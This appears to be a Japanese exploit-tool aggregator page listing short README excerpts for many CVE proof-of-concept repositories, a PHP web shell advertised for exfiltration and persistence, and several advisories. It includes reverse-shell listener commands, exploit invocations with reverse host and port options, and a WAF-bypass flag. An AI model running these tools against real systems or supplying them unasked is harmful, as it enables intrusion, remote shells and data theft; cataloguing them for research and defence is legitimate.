CVE-2018-7600

CVE-2018-7600 Drupal CVE-2018-7600 RCEの概念実証エクスプロイト（疑似シェルおよびプロキシサポート付き）...

CVE-2018-2893

CVE-2018-2893 リバースシェルを直接取得できます 使用方法 リッスン root@kitploit: nc -lvvp reverseport ペイロードを送信 root@kitploit: python weblogic.py targethost targetport reversehost reverseport 参照 bigsizeme pyn3rd 説明 テストおよび交流・学習のみを目的としており、他の用途には使用しないでください...

ivanti_shell

CVE-2024-21887 の悪用（Ngrok リバースシェル） このリポジトリは、Ivanti Connect Secure ゲートウェイの CVE-2024-21887 の脆弱性の悪用を実演するために設計された Python スクリプトを提供します。教育および倫理的なテスト目的で、Ngrok を利用してリバースシェルを確立します。 免責事項...

cve-2015-2208

CVE-2015-2208 の環境をシミュレートするための Dockerfile phpMoAdmin 1.1.2 の moadmin.php 内の saveObject 関数は、リモートの攻撃者が object パラメータ内のシェルメタ文字を介して任意のコマンドを実行することを許可します。 発見者: @u0x Pichaya Morimoto, Xelenonz, pe3z, Pistachio 参考文献: http://seclists.org/fulldisclosure/2015/Mar/19 http://www.exploit-db.com/exploits/36251/...

POC-CVE-2025-55182

POC-CVE-2025-55182 クレジット : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 root@kitploit: usage: CVE-2025-55182-Exp.py -h -u URL -l LIST -c COMMAND -i --revshell LHOST LPORT -t THREADS --proxy PROXY --timeout TIMEOUT -v 使用方法 root@kitploit: Single target exploit python3...

CVE-2025-55182-PoC

React2Shell CVE-2025-55182 PoC 使用方法 root@kitploit: Interactive shell ./react2shell -u http://target:3000 Single command ./react2shell -u http://target:3000 -c "id" WAF bypass 128KB junk data ./react2shell -u http://target:3000 -waf 128 ビルド root@kitploit: go build -o react2shell . オプション フラグ| 説明...

CVE-2025-62369

CVE-2025-62369 PoC このスクリプトは、Xibo CMS の CVE-2025-62369 を悪用して、リバースシェルコマンドを実行します。 作者 名前: Cristian Branet GitHub: cristibtz 使用方法 1. リスナーを起動する root@kitploit: nc -lvnp 2. エクスプロイトを実行する root@kitploit: python3 exploit.py -u "http://:" -s "" -i -p : Xibo CMS サーバーの IP : Xibo CMS サーバーのポート : あなたの PHP セッション ID...

CVE-2015-8522.RCE

CVE-2015-8522 Tivoli FastBack Server 6.1.4 アプリケーションはスタックベースのバッファオーバーフローに対して脆弱であり、脅威アクターがリモートTCP接続を介して任意コード実行 ACE を達成することを可能にします。このリポジトリで提供されるPoCは、この脆弱性を利用して、ターゲット上でCMD.exeを実行すると同時に、着信接続を処理してリバースシェルを確立します。 !NOTE...

casper-shell

🦇 Casper@shell: - 高度なPHP Webシェル Casper@shell: は、多くの新機能を備えたp0wny shellの拡張版で、よりユーザーフレンドリーです。このバージョンは、偵察、データ流出、または永続化メカニズムの展開を迅速に行うのに役立つことを目指しています。 ✨ 特徴 🖥️ 拡張ターミナル 完全なターミナルエミュレーション （コマンド実行対応） コマンドとファイルのタブ補完 矢印キーでのコマンド履歴 クロスプラットフォーム対応 （Linux/Windows） ⚡ クイックアクションツールバー ワンクリック偵察 コマンド 即時ファイル流出 ツール...

PwnTillDawn-Portal-Walkthrough

🔐 脆弱性評価とペネトレーションテスト VAPT 📌 プロジェクト: ターゲット攻略ウォークスルー ⚠️ このプロジェクトは教育および許可されたテスト目的のみ です。 システムへの不正アクセスは固く禁止されています。 👨‍💻 著者 SYAFIQ 役割: リードペネトレーションテスター 🎯 ターゲット情報 ターゲットIP: 10.150.150.12 オペレーティングシステム: Ubuntu Linux ステータス: 🔴 重大 バックドア検出 脆弱性: CVE-2011-2523 vsFTPd バックドア 🧭 攻撃概要 フェーズ| ツール| 説明 ---|---|--- 発見| Nmap|...

CVE-2024-37054-MLflow-reverse-shell

ツールとファイル ファイル| 目的 ---|--- generatemodel.py| リバースシェルペイロードを含む悪意のある model.pkl を生成する uploadmodel.py| pickle を MLflow にアップロードし、Production に昇格させる sample.csv| /predict エンドポイントをトリガーするために使用される CSV ファイル 使用方法 1. 悪意のある pickle を生成する generatemodel.py を編集し、自分の tun0 IP を設定します: root@kitploit: python3...

hack

💀 PwnKit CVE-2021-4034 & リバースシェルツールキット ⚠️ 免責事項: このリポジトリは教育およびセキュリティ研究の目的でのみ作成されています。作者はこれらのツールの不正使用について一切責任を負いません。管理された環境、または明示的な許可がある環境でのみ使用してください。 📜 説明 このリポジトリには、Polkit の pkexec コンポーネントにおけるローカル権限昇格の重大な脆弱性である PwnKit CVE-2021-4034 用にコンパイルされた概念実証 PoC が含まれています。さらに、PHP 製リバースシェル...

CVE-2016-16113-POC

Get RCE - Bludit CMS エクスプロイト root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240 （認証バイパス）とCVE-2019-16113 （任意ファイルアップロード）を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。 ⚠️ 法的免責事項 認可されたセキュリティテストのみを対象としています...

CVE-2026-54088-poc

CVE-2026-54088: 認証フックのシェル置換によるコマンドインジェクション（認証前 RCE） English version 概要 このリポジトリは、File Browser のバージョン = 2.63.5 に存在する重大な OS コマンドインジェクション脆弱性 CVE-2026-54088 の Proof of Concept PoC です。 この脆弱性は Hook Authentication 機能に存在します。管理者が外部コマンドでユーザー認証を行うよう File Browser を設定している場合、ログイン時に送信された username と password...

CVE-2025-55182-GodzillaMemoryShell

This repository does not have a README...

cve-2022-1388-1veresk

CVE-2022-1388 作 1vere$k CVE-2022-1388 の概念実証（PoC）。 以下の2つの動作モードがあります： 単一ターゲットURL（ポートが指定されていない場合、デフォルトポートは80に設定されます）; ターゲットリストファイル（: 形式、改行区切り）; Usage root@kitploit: echo "+-------------------For-The-Help-------------------------------------+"; echo "Example1: ./cve-2022-1388.sh -h...

React2Shell

React2Shell - CVE-2025-55182 & CVE-2025-66478 著者： LAKSHMIKANTHAN K（letchupkt） Instagram： @letchupkt バージョン： 2.0.0（難読化） 日付： 2025-12-07 🚀 クイックスタート スキャナーの実行 root@kitploit: python react2shell.py これだけです！スキャナーは次の処理を行います： 1. 整合性を検証 2. コードを解凍 3. 通常どおり実行 すべての機能は完全に同じ動作をします！ root@kitploit: 1 Scan Single URL...

React Native Community CLI - Unauthenticated OS Command Injection

The Metro development server started by the React Native Community CLI binds to external network interfaces by default and exposes an unauthenticated /open-url endpoint. Affected versions pass the attacker supplied url value straight to the open helper without validating the scheme, allowing an...

CVE-2026-77422

JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep... and, unless line-regexp mode is used, automatically adds ...

UBUNTU-CVE-2026-77422

JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep... and, unless line-regexp mode is used, automatically adds ...